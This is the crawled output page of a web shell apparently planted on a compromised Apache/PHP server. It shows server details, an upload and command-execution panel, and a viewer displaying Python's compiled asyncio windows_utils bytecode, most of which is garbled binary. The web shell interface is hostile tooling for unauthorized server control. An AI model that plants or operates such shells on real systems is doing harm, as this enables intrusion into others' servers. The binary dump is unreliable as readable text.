403Webshell
Server IP : 5.78.70.76  /  Your IP : 216.73.216.213
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux web-crawler-1 6.8.0-106-generic #106-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 6 07:58:08 UTC 2026 x86_64
User : workverse-backend ( 1002)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/thread-self/root/lib/python3.10/asyncio/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/lib/python3.10/asyncio/__pycache__/windows_utils.cpython-310.pyc
o

ߨ�i��@s�dZddlZejdkred��ddlZddlZddlZddlZddlZddl	Z	ddl
Z
dZdZej
Z
ejZe��Zdded	�d
d�ZGdd
�d
�ZGdd�dej�ZdS)z)Various Windows specific bits and pieces.�N�win32z
win32 only)�pipe�Popen�PIPE�
PipeHandlei F)TT)�duplex�
overlapped�bufsizec
Cstjd�t��tt��d�}|rtj}tj	tj
B}||}}ntj}tj
}d|}}|tjO}|dr8|tj
O}|dr@tj
}nd}d}	}
z.t�||tjd||tjtj�}	t�||dtjtj|tj�}
tj|	dd�}|�d�|	|
fWS|	dur�t�|	�|
dur�t�|
��)zELike os.pipe() but with overlapped support and using handles not fds.z\\.\pipe\python-pipe-{:d}-{:d}-)�prefixr�NT�r)�tempfileZmktemp�format�os�getpid�next�
_mmap_counter�_winapiZPIPE_ACCESS_DUPLEXZGENERIC_READZ
GENERIC_WRITEZPIPE_ACCESS_INBOUNDZFILE_FLAG_FIRST_PIPE_INSTANCEZFILE_FLAG_OVERLAPPEDZCreateNamedPipeZ	PIPE_WAITZNMPWAIT_WAIT_FOREVERZNULLZ
CreateFileZ
OPEN_EXISTINGZConnectNamedPipeZGetOverlappedResult�CloseHandle)rrr	ZaddressZopenmode�accessZobsizeZibsizeZflags_and_attribsZh1Zh2Zov�r�,/usr/lib/python3.10/asyncio/windows_utils.pyr sJ��


��



rc@sbeZdZdZdd�Zdd�Zedd��Zdd	�Ze	j
d
�dd�Zej
fd
d�Zdd�Zdd�ZdS)rz�Wrapper for an overlapped pipe handle which is vaguely file-object like.

    The IOCP event loop can use these instead of socket objects.
    cCs
||_dS�N��_handle��self�handlerrr�__init__Vs
zPipeHandle.__init__cCs2|jdurd|j��}nd}d|jj�d|�d�S)Nzhandle=�closed�<� �>)r�	__class__�__name__rrrr�__repr__Ys
zPipeHandle.__repr__cCs|jSrr�rrrrr`szPipeHandle.handlecCs|jdur	td��|jS)NzI/O operation on closed pipe)r�
ValueErrorr&rrr�filenods
zPipeHandle.fileno)rcCs"|jdur||j�d|_dSdSrr)rrrrr�closeis


�zPipeHandle.closecCs.|jdur|d|��t|d�|��dSdS)Nz	unclosed )�source)r�ResourceWarningr))rZ_warnrrr�__del__ns
�zPipeHandle.__del__cCs|Srrr&rrr�	__enter__sszPipeHandle.__enter__cCs|��dSr)r))r�t�v�tbrrr�__exit__vszPipeHandle.__exit__N)r$�
__module__�__qualname__�__doc__rr%�propertyrr(rrr)�warnings�warnr,r-r1rrrrrQs
rcs"eZdZdZd�fdd�	Z�ZS)rz�Replacement for subprocess.Popen using overlapped pipe handles.

    The stdin, stdout, stderr are None or instances of PipeHandle.
    Nc	s�|�d�rJ�|�dd�dksJ�d}}}d}	}
}|tkr1tddd�\}}	t�|tj�}n|}|tkrEtdd�\}
}
t�|
d�}n|}|tkrYtdd�\}}t�|d�}n	|tkr`|}n|}zazt�j	|f|||d	�|��Wn|	|
|fD]}|dur�t
�|�q|�|	dur�t|	�|_
|
dur�t|
�|_|dur�t|�|_W|tkr�t�|�|tkr�t�|�|tkr�t�|�dSdS|tkr�t�|�|tkr�t�|�|tkr�t�|�ww)
NZuniversal_newlinesr	r)FTT)rr)TFr)�stdin�stdout�stderr)�getrr�msvcrtZopen_osfhandler�O_RDONLY�STDOUT�superrrrrr8r9r:r))r�argsr8r9r:�kwdsZ	stdin_rfdZ
stdout_wfdZ
stderr_wfdZstdin_whZ	stdout_rhZ	stderr_rhZstdin_rhZ	stdout_whZ	stderr_wh�h�r#rrr�sf�
�
�


�

��

�zPopen.__init__)NNN)r$r2r3r4r�
__classcell__rrrCrr}sr)r4�sys�platform�ImportErrorr�	itertoolsr<r�
subprocessr
r6�__all__ZBUFSIZErr>�countrrrrrrrr�<module>s&
1,

Youez - 2016 - github.com/yon3zu
LinuXploit